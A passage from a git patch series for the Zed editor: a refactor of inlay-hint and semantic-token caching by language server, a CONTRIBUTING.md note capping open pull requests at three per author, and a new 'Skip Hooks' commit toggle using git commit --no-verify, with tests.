-                                lsp_store.update(cx, |lsp_store, cx| {
-                                    let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
-                                    let update_cache = lsp_data.buffer_version == query_version;
+            existing_inlay_hints
+                .fetched_servers
+                .extend(servers_to_query.iter().flatten().copied());
+            if servers_to_query.is_none() {
+                existing_inlay_hints
+                    .fetched_servers
+                    .extend(current_servers.iter().copied());
+            }
+            let queried_servers = match &servers_to_query {
+                Some(servers) => servers.clone(),
+                None => current_servers.clone(),
+            };
+
+            let next_hint_id = next_hint_id.clone();
+            let buffer = buffer.clone();
+            let query_version = query_version.clone();
+            let range_to_query = chunk.anchor_range();
+            let new_inlay_hints = cx
+                .spawn(async move |lsp_store, cx| {
+                    // Let the previous fetch merge its hints into the cache first, so
+                    // that the chunk state read below contains its servers' hints too.
+                    if let Some(running_fetch) = running_fetch {
+                        running_fetch.await.ok();
+                    }
+                    let new_fetch_task = lsp_store.update(cx, |lsp_store, cx| {
+                        lsp_store.fetch_inlay_hints(servers_to_query, &buffer, range_to_query, cx)
+                    })?;
+                    match new_fetch_task.await {
+                        Ok(new_hints_by_server) => lsp_store
+                            .update(cx, |lsp_store, cx| {
+                                let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
+                                if lsp_data.buffer_version == query_version {
                                     if new_hints_by_server.is_empty() {
-                                        if update_cache {
-                                            lsp_data.inlay_hints.invalidate_for_chunk(chunk);
-                                        }
-                                        other_servers_cached
+                                        lsp_data.inlay_hints.invalidate_for_chunk(chunk);
                                     } else {
-                                        let mut result = other_servers_cached;
                                         for (server_id, new_hints) in new_hints_by_server {
                                             let new_hints = new_hints
                                                 .into_iter()
@@ -7838,53 +7806,63 @@ impl LspStore {
                                                     )
                                                 })
                                                 .collect::<Vec<_>>();
-                                            if update_cache {
-                                                lsp_data.inlay_hints.insert_new_hints(
-                                                    chunk,
-                                                    server_id,
-                                                    new_hints.clone(),
-                                                );
-                                            }
-                                            result.insert(server_id, new_hints);
+                                            lsp_data
+                                                .inlay_hints
+                                                .insert_new_hints(chunk, server_id, new_hints);
                                         }
-                                        result
                                     }
-                                })
-                            })
-                            .map_err(Arc::new)
-                    })
-                    .shared();
-
-                let fetch_task = lsp_data.inlay_hints.fetched_hints(&chunk);
-                *fetch_task = Some(new_inlay_hints.clone());
-                hint_fetch_tasks.push((chunk, new_inlay_hints));
-            }
-
-            cached_inlay_hints
-                .unwrap_or_default()
-                .into_iter()
-                .map(|(row_chunk, hints)| (row_chunk, Task::ready(Ok(hints))))
-                .chain(hint_fetch_tasks.into_iter().map(|(chunk, hints_fetch)| {
-                    (
-                        chunk.row_range(),
-                        cx.spawn(async move |_, _| {
-                            hints_fetch.await.map_err(|e| {
-                                if e.error_code() != ErrorCode::Internal {
-                                    anyhow!(e.error_code())
-                                } else {
-                                    anyhow!("{e:#}")
                                 }
+                                lsp_data
+                                    .inlay_hints
+                                    .cached_hints(&chunk)
+                                    .cloned()
+                                    .unwrap_or_default()
                             })
-                        }),
-                    )
-                }))
-                .collect()
+                            .map_err(Arc::new),
+                        Err(e) => {
+                            lsp_store
+                                .update(cx, |lsp_store, cx| {
+                                    let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
+                                    if lsp_data.buffer_version == query_version {
+                                        for server_id in &queried_servers {
+                                            lsp_data.inlay_hints.fetched_servers.remove(server_id);
+                                        }
+                                    }
+                                })
+                                .ok();
+                            Err(Arc::new(e))
+                        }
+                    }
+                })
+                .shared();
+
+            *existing_inlay_hints.fetched_hints(&chunk) = Some(new_inlay_hints.clone());
+            chunk_hint_tasks.insert(chunk.row_range(), ChunkFetch::Running(new_inlay_hints));
         }
+
+        chunk_hint_tasks
+            .into_iter()
+            .map(|(row_range, chunk_fetch)| {
+                let task = match chunk_fetch {
+                    ChunkFetch::Cached(hints) => Task::ready(Ok(hints)),
+                    ChunkFetch::Running(hints_fetch) => cx.spawn(async move |_, _| {
+                        hints_fetch.await.map_err(|e| {
+                            if e.error_code() != ErrorCode::Internal {
+                                anyhow!(e.error_code())
+                            } else {
+                                anyhow!("{e:#}")
+                            }
+                        })
+                    }),
+                };
+                (row_range, task)
+            })
+            .collect()
     }
 
     fn fetch_inlay_hints(
         &mut self,
-        for_server: Option<LanguageServerId>,
+        for_servers: Option<HashSet<LanguageServerId>>,
         buffer: &Entity<Buffer>,
         range: Range<Anchor>,
         cx: &mut Context<Self>,
@@ -7901,7 +7879,7 @@ impl LspStore {
                 .get_request_timeout();
             let request_task = upstream_client.request_lsp(
                 project_id,
-                for_server.map(|id| id.to_proto()),
+                upstream_lsp_query_server_filter(for_servers.as_ref()),
                 request_timeout,
                 cx.background_executor().clone(),
                 request.to_proto(project_id, buffer.read(cx)),
@@ -7961,29 +7939,13 @@ impl LspStore {
                 Ok(inlay_hints)
             })
         } else {
-            let inlay_hints_task = match for_server {
-                Some(server_id) => {
-                    let server_task = self.request_lsp(
-                        buffer.clone(),
-                        LanguageServerToQuery::Other(server_id),
-                        request,
-                        cx,
-                    );
-                    cx.background_spawn(async move {
-                        let mut responses = Vec::new();
-                        match server_task.await {
-                            Ok(response) => responses.push((server_id, response)),
-                            // rust-analyzer likes to error with this when its still loading up
-                            Err(e) if format!("{e:#}").ends_with("content modified") => (),
-                            Err(e) => log::error!(
-                                "Error handling response for inlay hints request: {e:#}"
-                            ),
-                        }
-                        responses
-                    })
-                }
-                None => self.request_multiple_lsp_locally(buffer, None::<usize>, request, cx),
-            };
+            let inlay_hints_task = self.request_filtered_lsp_locally(
+                buffer,
+                None::<usize>,
+                request,
+                for_servers.as_ref(),
+                cx,
+            );
             let buffer_snapshot = buffer.read_with(cx, |buffer, _| buffer.snapshot());
             cx.background_spawn(async move {
                 Ok(inlay_hints_task
diff --git a/crates/project/src/lsp_store/inlay_hints.rs b/crates/project/src/lsp_store/inlay_hints.rs
index e688b163040386..e7e110a628a48b 100644
--- a/crates/project/src/lsp_store/inlay_hints.rs
+++ b/crates/project/src/lsp_store/inlay_hints.rs
@@ -58,6 +58,7 @@ pub struct BufferInlayHints {
     hints_by_id: HashMap<InlayId, HintForId>,
     pending_refreshes: HashSet<LanguageServerId>,
     work_end_refreshes: HashSet<LanguageServerId>,
+    pub(super) fetched_servers: HashSet<LanguageServerId>,
     pub(super) hint_resolves: HashMap<InlayId, Shared<Task<()>>>,
 }
 
@@ -90,6 +91,7 @@ impl BufferInlayHints {
             fetches_by_chunks: vec![None; chunks.len()],
             pending_refreshes: HashSet::default(),
             work_end_refreshes: HashSet::default(),
+            fetched_servers: HashSet::default(),
             hints_by_id: HashMap::default(),
             hint_resolves: HashMap::default(),
             chunks,
@@ -137,6 +139,7 @@ impl BufferInlayHints {
         }
         self.pending_refreshes.remove(&for_server);
         self.work_end_refreshes.remove(&for_server);
+        self.fetched_servers.remove(&for_server);
     }
 
     fn mark_refresh_pending(&mut self, server_id: LanguageServerId) {
@@ -165,6 +168,7 @@ impl BufferInlayHints {
         self.hint_resolves.clear();
         self.pending_refreshes.clear();
         self.work_end_refreshes.clear();
+        self.fetched_servers.clear();
     }
 
     pub fn insert_new_hints(
@@ -228,6 +232,7 @@ impl BufferInlayHints {
                 self.fetches_by_chunks[chunk_id] = None;
             }
         }
+        self.fetched_servers.remove(&for_server);
 
         true
     }
diff --git a/crates/project/src/lsp_store/semantic_tokens.rs b/crates/project/src/lsp_store/semantic_tokens.rs
index e4fafcfcaf7ec1..6b5c40253baa78 100644
--- a/crates/project/src/lsp_store/semantic_tokens.rs
+++ b/crates/project/src/lsp_store/semantic_tokens.rs
@@ -26,6 +26,7 @@ use crate::{
         LspCommand, SemanticTokensDelta, SemanticTokensEdit, SemanticTokensFull,
         SemanticTokensResponse,
     },
+    lsp_store::missing_servers_to_query,
     project_settings::ProjectSettings,
 };
 
@@ -87,6 +88,7 @@ impl LspStore {
         cx: &mut Context<Self>,
     ) -> SemanticTokensTask {
         let version_queried_for = buffer.read(cx).version();
+        let current_servers = self.relevant_server_ids_for_capability_check(&buffer, cx);
         let latest_lsp_data = self.latest_lsp_data(&buffer, cx);
         let semantic_tokens_data = latest_lsp_data.semantic_tokens.get_or_insert_default();
         let refreshed_servers = std::mem::take(&mut semantic_tokens_data.pending_refreshes);
@@ -100,6 +102,15 @@ impl LspStore {
                 .servers
                 .remove(refreshed_server);
         }
+        let missing_servers = missing_servers_to_query(
+            &mut semantic_tokens_data.raw_tokens.servers,
+            &mut semantic_tokens_data.fetched_servers,
+            &current_servers,
+        )
+        .unwrap_or_default();
+        if !missing_servers.is_empty() {
+            semantic_tokens_data.update = None;
+        }
         let query_generation = semantic_tokens_data.generation;
 
         if let Some((updating_for, task)) = &semantic_tokens_data.update
@@ -108,14 +119,22 @@ impl LspStore {
             return task.clone();
         }
 
-        let for_server = if refreshed_servers.len() == 1 {
-            refreshed_servers.iter().next().copied()
+        let mut servers_to_fetch = refreshed_servers;
+        servers_to_fetch.extend(missing_servers);
+        let for_server = if servers_to_fetch.len() == 1 {
+            servers_to_fetch.iter().next().copied()
         } else {
             // With multiple servers refreshed, query all of them instead of fanning out
             // filtered queries — the non-refreshed ones kept their tokens and answer
             // with cheap deltas.
             None
         };
+        semantic_tokens_data
+            .fetched_servers
+            .extend(match for_server {
+                Some(server_id) => HashSet::from_iter([server_id]),
+                None => current_servers,
+            });
         let new_tokens = self.fetch_semantic_tokens_for_buffer(&buffer, for_server, cx);
 
         let task_buffer = buffer.clone();
@@ -656,6 +675,7 @@ async fn raw_to_buffer_semantic_tokens(
 pub struct SemanticTokensData {
     pub(super) raw_tokens: RawSemanticTokens,
     pub(super) pending_refreshes: HashSet<LanguageServerId>,
+    fetched_servers: HashSet<LanguageServerId>,
     update: Option<(Global, SemanticTokensTask)>,
     /// Bumped on every eviction so that fetches started against the evicted state
     /// cannot write their stale results into the new one.
@@ -666,12 +686,14 @@ impl SemanticTokensData {
     pub(super) fn remove_server_data(&mut self, server_id: LanguageServerId) {
         self.raw_tokens.servers.remove(&server_id);
         self.pending_refreshes.remove(&server_id);
+        self.fetched_servers.remove(&server_id);
         self.update = None;
         self.generation += 1;
     }
 
     fn evict_all(&mut self) {
         self.raw_tokens.servers.clear();
+        self.fetched_servers.clear();
         self.update = None;
         self.generation += 1;
     }

From e1380d58bbe144c4838861848856a23eacd0e67f Mon Sep 17 00:00:00 2001
From: Lena <241371603+zelenenka@users.noreply.github.com>
Date: Thu, 23 Jul 2026 14:34:29 +0000
Subject: [PATCH 663/772] CONTRIBUTING.md: Document the cap on simultaneous PRs
 (#61516)

We are trying out the new feature that GitHub rolled out, will see if it
is helpful.

Release Notes:

- N/A
---
 CONTRIBUTING.md | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index e53950bbefd97a..62d0d1337f5d8c 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -62,6 +62,13 @@ submitted. **If you'd like your PR to have the best chance of being merged**:
 - Keep AI assistance under your judgement and responsibility: it's unlikely
   we'll merge a vibe-coded PR that the author doesn't understand.
 
+**A note on open pull requests:** currently we cap them at **three per author**.
+We're lucky to get a lot of contributions, and the pattern we've seen is that landing
+your first PR dramatically improves the odds for every PR after it. A stack of
+simultaneous PRs, by contrast, tends to just sit and rot against a moving `main`
+branch. It's better to start with one, see it through, then bring on the next.
+It also keeps things sane when the contributions are coming in faster than we can
+review them, including the occasional automated burst.
 
 ## Things we will (probably) not merge
 

From b2a4fb47b1d489f16e8b2f58ed746a9ad883c517 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Thu, 23 Jul 2026 21:15:21 +0530
Subject: [PATCH 664/772] git_ui: Add option to commit with --no-verify
 (#61529)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Follow-up to #61185, which moved hook execution from Zed into `git
commit` itself. There was previously no way to skip hooks from the UI;
#59846 and #56318 attempted to add one on top of the old behavior. This
PR adds support on top of the new implementation.

Adds a “Skip Hooks” toggle to the commit menus in the Git panel and
commit modal, with a corresponding command-palette action. When enabled,
the next commit runs with `git commit --no-verify`, skipping pre-commit
and commit-msg hooks. The toggle clears after a successful commit or
when switching repositories, but remains enabled when a commit fails so
it can be retried.

Release Notes:

- Added a “Skip Hooks” commit option that skips pre-commit and
commit-msg hooks.
---
 crates/git/src/git.rs             |   2 +
 crates/git/src/repository.rs      |  27 ++++
 crates/git_ui/src/commit_modal.rs |  66 ++++++---
 crates/git_ui/src/git_panel.rs    | 214 +++++++++++++++++++++++++-----
 crates/project/src/git_store.rs   |   2 +
 crates/proto/proto/git.proto      |   1 +
 6 files changed, 259 insertions(+), 53 deletions(-)

diff --git a/crates/git/src/git.rs b/crates/git/src/git.rs
index 4bb16a39515dce..bb74142139eb44 100644
--- a/crates/git/src/git.rs
+++ b/crates/git/src/git.rs
@@ -100,6 +100,8 @@ actions!(
         FetchFrom,
         /// Creates a new commit with staged changes.
         Commit,
+        /// Runs the next commit with `git commit --no-verify`.
+        SkipHooks,
         /// Amends the last commit with staged changes.
         Amend,
         /// Enable the --signoff option.
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index c4daf3ff87a660..528d1fdfebff75 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -458,6 +458,7 @@ pub struct CommitOptions {
     pub amend: bool,
     pub signoff: bool,
     pub allow_empty: bool,
+    pub no_verify: bool,
 }
 
 #[derive(Clone, Copy, Debug, Hash, PartialEq, Eq)]
@@ -2561,6 +2562,10 @@ impl GitRepository for RealGitRepository {
                 cmd.arg("--allow-empty");
             }
 
+            if options.no_verify {
+                cmd.arg("--no-verify");
+            }
+
             if let Some((name, email)) = name_and_email {
                 cmd.arg("--author").arg(&format!("{name} <{email}>"));
             }
@@ -5031,6 +5036,28 @@ mod tests {
 
         let message = git_command_output(repo_dir.path(), ["log", "-1", "--pretty=%B"]);
         assert_eq!(message, "rewritten by commit-msg hook");
+
+        write_hook("pre-commit", "#!/bin/sh\nexit 1\n");
+        fs::write(repo_dir.path().join("file"), "three").unwrap();
+        repo.stage_paths(vec![repo_path("file")], Arc::new(HashMap::default()))
+            .await
+            .unwrap();
+
+        repo.commit(
+            "Commit without verification".into(),
+            None,
+            CommitOptions {
+                no_verify: true,
+                ..Default::default()
+            },
+            AskPassDelegate::new(&mut cx.to_async(), |_, _, _| {}),
+            Arc::new(test_commit_envs()),
+        )
+        .await
+        .expect("--no-verify should skip pre-commit and commit-msg hooks");
+
+        let message = git_command_output(repo_dir.path(), ["log", "-1", "--pretty=%B"]);
+        assert_eq!(message, "Commit without verification");
     }
 
     #[gpui::test]
diff --git a/crates/git_ui/src/commit_modal.rs b/crates/git_ui/src/commit_modal.rs
index 7ba5558dd95361..d36bc8400047d2 100644
--- a/crates/git_ui/src/commit_modal.rs
+++ b/crates/git_ui/src/commit_modal.rs
@@ -3,13 +3,12 @@ use crate::git_panel::{
     GitPanel, commit_message_editor, commit_title_exceeds_limit, git_commit_editor_style,
 };
 use crate::git_panel_settings::GitPanelSettings;
-use git::repository::CommitOptions;
-use git::{Amend, Commit, GenerateCommitMessage, Signoff};
+use git::{Amend, Commit, GenerateCommitMessage, Signoff, SkipHooks};
 use project::DisableAiSettings;
 use settings::Settings;
 use ui::{
-    ButtonLike, ContextMenu, ElevationIndex, KeybindingHint, PopoverMenu, PopoverMenuHandle,
-    SplitButton, Tooltip, prelude::*,
+    ButtonLike, ContextMenu, ContextMenuEntry, DocumentationSide, ElevationIndex, KeybindingHint,
+    PopoverMenu, PopoverMenuHandle, SplitButton, Tooltip, prelude::*,
 };
 use zed_actions::{DecreaseBufferFontSize, IncreaseBufferFontSize, ResetBufferFontSize};
 
@@ -287,6 +286,7 @@ impl CommitModal {
                     let git_panel = git_panel_entity.read(cx);
                     let amend_enabled = git_panel.amend_pending();
                     let signoff_enabled = git_panel.signoff_enabled();
+                    let skip_hooks_enabled = git_panel.skip_hooks_enabled();
                     let has_previous_commit = git_panel.head_commit(cx).is_some();
 
                     Some(ContextMenu::build(window, cx, |context_menu, _, _| {
@@ -326,6 +326,17 @@ impl CommitModal {
                                     }
                                 },
                             )
+                            .item(
+                                ContextMenuEntry::new("Skip Hooks")
+                                    .toggleable(IconPosition::Start, skip_hooks_enabled)
+                                    .action(Box::new(SkipHooks))
+                                    .handler(move |window, cx| {
+                                        window.dispatch_action(Box::new(SkipHooks), cx)
+                                    })
+                                    .documentation_aside(DocumentationSide::Left, |_| {
+                                        Label::new("git commit --no-verify").into_any_element()
+                                    }),
+                            )
                     }))
                 }
             })
@@ -344,8 +355,7 @@ impl CommitModal {
             co_authors,
             generate_commit_message,
             active_repo,
-            is_amend_pending,
-            is_signoff_enabled,
+            commit_options,
             workspace,
             is_generating,
         ) = self.git_panel.update(cx, |git_panel, cx| {
@@ -354,8 +364,7 @@ impl CommitModal {
             let co_authors = git_panel.render_co_authors(cx);
             let generate_commit_message = git_panel.render_generate_commit_message_button(cx);
             let active_repo = git_panel.active_repository.clone();
-            let is_amend_pending = git_panel.amend_pending();
-            let is_signoff_enabled = git_panel.signoff_enabled();
+            let commit_options = git_panel.commit_options();
             let is_generating = git_panel.is_generating_commit_message();
             (
                 can_commit,
@@ -364,8 +373,7 @@ impl CommitModal {
                 co_authors,
                 generate_commit_message,
                 active_repo,
-                is_amend_pending,
-                is_signoff_enabled,
+                commit_options,
                 git_panel.workspace.clone(),
                 is_generating,
             )
@@ -450,15 +458,8 @@ impl CommitModal {
                             .on_click(cx.listener(move |this, _: &ClickEvent, window, cx| {
                                 telemetry::event!("Git Committed", source = "Git Modal");
                                 this.git_panel.update(cx, |git_panel, cx| {
-                                    git_panel.commit_changes(
-                                        CommitOptions {
-                                            amend: is_amend_pending,
-                                            signoff: is_signoff_enabled,
-                                            allow_empty: false,
-                                        },
-                                        window,
-                                        cx,
-                                    )
+                                    let options = git_panel.commit_options();
+                                    git_panel.commit_changes(options, window, cx)
                                 });
                                 cx.emit(DismissEvent);
                             }))
@@ -470,9 +471,18 @@ impl CommitModal {
                                             tooltip,
                                             Some(&git::Commit),
                                             format!(
-                                                "git commit{}{}",
-                                                if is_amend_pending { " --amend" } else { "" },
-                                                if is_signoff_enabled { " --signoff" } else { "" }
+                                                "git commit{}{}{}",
+                                                if commit_options.amend { " --amend" } else { "" },
+                                                if commit_options.signoff {
+                                                    " --signoff"
+                                                } else {
+                                                    ""
+                                                },
+                                                if commit_options.no_verify {
+                                                    " --no-verify"
+                                                } else {
+                                                    ""
+                                                }
                                             ),
                                             &focus_handle.clone(),
                                             cx,
@@ -516,6 +526,17 @@ impl CommitModal {
         }
     }
 
+    fn on_toggle_skip_hooks(
+        &mut self,
+        action: &git::SkipHooks,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.git_panel.update(cx, |git_panel, cx| {
+            git_panel.toggle_skip_hooks(action, window, cx)
+        });
+    }
+
     fn on_amend(&mut self, _: &git::Amend, window: &mut Window, cx: &mut Context<Self>) {
         if self.git_panel.update(cx, |git_panel, cx| {
             git_panel.amend(&self.commit_editor.focus_handle(cx), window, cx)
@@ -592,6 +613,7 @@ impl Render for CommitModal {
             .key_context("GitCommit")
             .on_action(cx.listener(Self::dismiss))
             .on_action(cx.listener(Self::on_commit))
+            .on_action(cx.listener(Self::on_toggle_skip_hooks))
             .on_action(cx.listener(Self::on_amend))
             .on_action(cx.listener(Self::increase_font_size))
             .on_action(cx.listener(Self::decrease_font_size))
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index af402961899913..83ebe566f3c516 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -36,7 +36,9 @@ use git::repository::{
 };
 use git::stash::GitStash;
 use git::status::{DiffStat, StageStatus};
-use git::{Amend, Commit, Signoff, ToggleStaged, repository::RepoPath, status::FileStatus};
+use git::{
+    Amend, Commit, Signoff, SkipHooks, ToggleStaged, repository::RepoPath, status::FileStatus,
+};
 use git::{
     ExpandCommitEditor, GitHostingProviderRegistry, GitRemote, RestoreTrackedFiles, StageAll,
     StashAll, StashApply, StashPop, ToggleFillCommitEditor, TrashUntrackedFiles, UnstageAll,
@@ -84,9 +86,10 @@ use strum::{IntoEnumIterator, VariantNames};
 use theme_settings::ThemeSettings;
 use time::OffsetDateTime;
 use ui::{
-    ButtonLike, Checkbox, Chip, ContextMenu, ContextMenuEntry, Divider, ElevationIndex,
-    IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle, ProjectEmptyState, ScrollAxes,
-    Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar, prelude::*,
+    ButtonLike, Checkbox, Chip, ContextMenu, ContextMenuEntry, Divider, DocumentationSide,
+    ElevationIndex, IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle,
+    ProjectEmptyState, ScrollAxes, Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar,
+    prelude::*,
 };
 use util::paths::PathStyle;
 use util::{ResultExt, TryFutureExt, markdown::MarkdownInlineCode, maybe, rel_path::RelPath};
@@ -930,6 +933,7 @@ pub struct GitPanel {
     original_commit_message: Option<String>,
     pending_commit_message_restores: BTreeMap<String, SerializedCommitMessage>,
     signoff_enabled: bool,
+    skip_hooks_enabled: bool,
     pending_serialization: Task<()>,
     pub(crate) project: Entity<Project>,
     scroll_handle: UniformListScrollHandle,
@@ -1231,6 +1235,7 @@ impl GitPanel {
                 original_commit_message,
                 pending_commit_message_restores,
                 signoff_enabled,
+                skip_hooks_enabled: false,
                 pending_serialization: Task::ready(()),
                 single_staged_entry: None,
                 single_tracked_entry: None,
@@ -2781,15 +2786,8 @@ impl GitPanel {
         cx: &mut Context<Self>,
     ) -> bool {
         if commit_editor_focus_handle.contains_focused(window, cx) {
-            self.commit_changes(
-                CommitOptions {
-                    amend: self.amend_pending,
-                    signoff: self.signoff_enabled,
-                    allow_empty: false,
-                },
-                window,
-                cx,
-            );
+            let options = self.commit_options();
+            self.commit_changes(options, window, cx);
             true
         } else {
             cx.propagate();
@@ -2909,6 +2907,15 @@ impl GitPanel {
         }
     }
 
+    pub(crate) fn commit_options(&self) -> CommitOptions {
+        CommitOptions {
+            amend: self.amend_pending,
+            signoff: self.signoff_enabled,
+            allow_empty: false,
+            no_verify: self.skip_hooks_enabled,
+        }
+    }
+
     pub(crate) fn commit_changes(
         &mut self,
         options: CommitOptions,
@@ -2985,6 +2992,7 @@ impl GitPanel {
 
                 match result {
                     Ok(()) => {
+                        this.set_skip_hooks_enabled(false, cx);
                         if options.amend {
                             this.set_amend_pending(false, cx);
                         } else {
@@ -4346,6 +4354,7 @@ impl GitPanel {
         let active_repository_changed = self.active_repository.as_ref().map(Entity::entity_id)
             != new_active_repository.as_ref().map(Entity::entity_id);
         if active_repository_changed {
+            self.set_skip_hooks_enabled(false, cx);
             if self.amend_pending {
                 // Leaving a repository with a pending amend: undo it so the amend
                 // state doesn't carry over to the newly active repository. The
@@ -5381,6 +5390,7 @@ impl GitPanel {
                 let has_previous_commit = self.head_commit(cx).is_some();
                 let amend = self.amend_pending();
                 let signoff = self.signoff_enabled;
+                let skip_hooks = self.skip_hooks_enabled;
 
                 move |window, cx| {
                     Some(ContextMenu::build(window, cx, |context_menu, _, _| {
@@ -5413,6 +5423,17 @@ impl GitPanel {
                                 Some(Box::new(Signoff)),
                                 move |window, cx| window.dispatch_action(Box::new(Signoff), cx),
                             )
+                            .item(
+                                ContextMenuEntry::new("Skip Hooks")
+                                    .toggleable(IconPosition::Start, skip_hooks)
+                                    .action(Box::new(SkipHooks))
+                                    .handler(move |window, cx| {
+                                        window.dispatch_action(Box::new(SkipHooks), cx)
+                                    })
+                                    .documentation_aside(DocumentationSide::Left, |_| {
+                                        Label::new("git commit --no-verify").into_any_element()
+                                    }),
+                            )
                     }))
                 }
             })
@@ -5855,8 +5876,10 @@ impl GitPanel {
         let (can_commit, tooltip) = self.configure_commit_button(cx);
         let title = self.commit_button_title();
         let commit_tooltip_focus_handle = self.commit_editor.focus_handle(cx);
-        let amend = self.amend_pending();
-        let signoff = self.signoff_enabled;
+        let options = self.commit_options();
+        let amend = options.amend;
+        let signoff = options.signoff;
+        let no_verify = options.no_verify;
 
         let label_color = if self.pending_commit.is_some() {
             Color::Disabled
@@ -5888,15 +5911,8 @@ impl GitPanel {
                             telemetry::event!("Git Committed", source = "Git Panel");
                             git_panel
                                 .update(cx, |git_panel, cx| {
-                                    git_panel.commit_changes(
-                                        CommitOptions {
-                                            amend,
-                                            signoff,
-                                            allow_empty: false,
-                                        },
-                                        window,
-                                        cx,
-                                    );
+                                    let options = git_panel.commit_options();
+                                    git_panel.commit_changes(options, window, cx);
                                 })
                                 .ok();
                         }
@@ -5909,9 +5925,10 @@ impl GitPanel {
                                     tooltip,
                                     Some(&git::Commit),
                                     format!(
-                                        "git commit{}{}",
+                                        "git commit{}{}{}",
                                         if amend { " --amend" } else { "" },
-                                        if signoff { " --signoff" } else { "" }
+                                        if signoff { " --signoff" } else { "" },
+                                        if no_verify { " --no-verify" } else { "" }
                                     ),
                                     &handle.clone(),
                                     cx,
@@ -7814,6 +7831,26 @@ impl GitPanel {
         self.signoff_enabled
     }
 
+    pub fn skip_hooks_enabled(&self) -> bool {
+        self.skip_hooks_enabled
+    }
+
+    fn set_skip_hooks_enabled(&mut self, value: bool, cx: &mut Context<Self>) {
+        if self.skip_hooks_enabled != value {
+            self.skip_hooks_enabled = value;
+            cx.notify();
+        }
+    }
+
+    pub fn toggle_skip_hooks(
+        &mut self,
+        _: &SkipHooks,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.set_skip_hooks_enabled(!self.skip_hooks_enabled, cx);
+    }
+
     pub fn set_signoff_enabled(&mut self, value: bool, cx: &mut Context<Self>) {
         self.signoff_enabled = value;
         self.serialize(cx);
@@ -8015,6 +8052,7 @@ impl Render for GitPanel {
                 this.on_action(cx.listener(Self::toggle_staged_for_selected))
                     .on_action(cx.listener(Self::stage_range))
                     .on_action(cx.listener(GitPanel::on_commit))
+                    .on_action(cx.listener(GitPanel::toggle_skip_hooks))
                     .on_action(cx.listener(GitPanel::on_amend))
                     .on_action(cx.listener(GitPanel::toggle_signoff_enabled))
                     .on_action(cx.listener(Self::stage_all))
@@ -8961,6 +8999,7 @@ mod tests {
         tree: serde_json::Value,
         status_entries: &[(&str, git::status::StatusCode)],
     ) -> (
+        Arc<FakeFs>,
         Entity<Project>,
         Entity<Workspace>,
         Entity<GitPanel>,
@@ -8979,7 +9018,7 @@ mod tests {
             );
         }
 
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
         let window_handle =
             cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
         let workspace = window_handle
@@ -9005,7 +9044,117 @@ mod tests {
         let panel = workspace.update_in(&mut cx, GitPanel::new);
         await_git_panel_entries(&panel, &mut cx).await;
 
-        (project, workspace, panel, cx)
+        (fs, project, workspace, panel, cx)
+    }
+
+    #[gpui::test]
+    async fn test_skip_hooks_toggle(cx: &mut TestAppContext) {
+        init_test(cx);
+        let (_, _, _, panel, mut cx) = setup_git_panel_with_changes(
+            cx,
+            json!({
+                ".git": {},
+                "file": "modified\n",
+            }),
+            &[("file", StatusCode::Modified)],
+        )
+        .await;
+
+        panel.update_in(&mut cx, |panel, window, cx| {
+            assert!(!panel.skip_hooks_enabled());
+            panel.toggle_skip_hooks(&SkipHooks, window, cx);
+            assert!(panel.skip_hooks_enabled());
+            assert!(panel.commit_options().no_verify);
+
+            panel.toggle_skip_hooks(&SkipHooks, window, cx);
+            assert!(!panel.skip_hooks_enabled());
+            assert!(!panel.commit_options().no_verify);
+        });
+    }
+
+    #[gpui::test]
+    async fn test_skip_hooks_clears_after_successful_commit(cx: &mut TestAppContext) {
+        init_test(cx);
+        let (fs, _, _, panel, mut cx) = setup_git_panel_with_changes(
+            cx,
+            json!({
+                ".git": {},
+                "file": "modified\n",
+            }),
+            &[("file", StatusCode::Modified)],
+        )
+        .await;
+
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel
+                .commit_message_buffer(cx)
+                .update(cx, |buffer, cx| buffer.set_text("Test commit", cx));
+            panel.toggle_skip_hooks(&SkipHooks, window, cx);
+            assert!(panel.commit_options().no_verify);
+
+            let focus_handle = panel.commit_editor.focus_handle(cx);
+            focus_handle.focus(window, cx);
+            assert!(panel.commit(&focus_handle, window, cx));
+        });
+        cx.run_until_parked();
+
+        panel.read_with(&cx, |panel, _| {
+            assert!(!panel.skip_hooks_enabled());
+        });
+        let commit_count = fs
+            .with_git_state(path!("/project/.git").as_ref(), false, |state| {
+                state.commit_history.len()
+            })
+            .expect("fake repository should exist");
+        assert_eq!(commit_count, 1);
+    }
+
+    #[gpui::test]
+    async fn test_skip_hooks_remains_enabled_after_failed_commit(cx: &mut TestAppContext) {
+        init_test(cx);
+        let (fs, _, _, panel, mut cx) = setup_git_panel_with_changes(
+            cx,
+            json!({
+                ".git": {},
+                "file": "modified\n",
+            }),
+            &[("file", StatusCode::Modified)],
+        )
+        .await;
+
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[("file", StatusCode::Modified.index())],
+        );
+        cx.run_until_parked();
+        await_git_panel_entries(&panel, &mut cx).await;
+        fs.with_git_state(path!("/project/.git").as_ref(), false, |state| {
+            state.index_contents = state.head_contents.clone();
+        })
+        .expect("fake repository should exist");
+
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel
+                .commit_message_buffer(cx)
+                .update(cx, |buffer, cx| buffer.set_text("Test commit", cx));
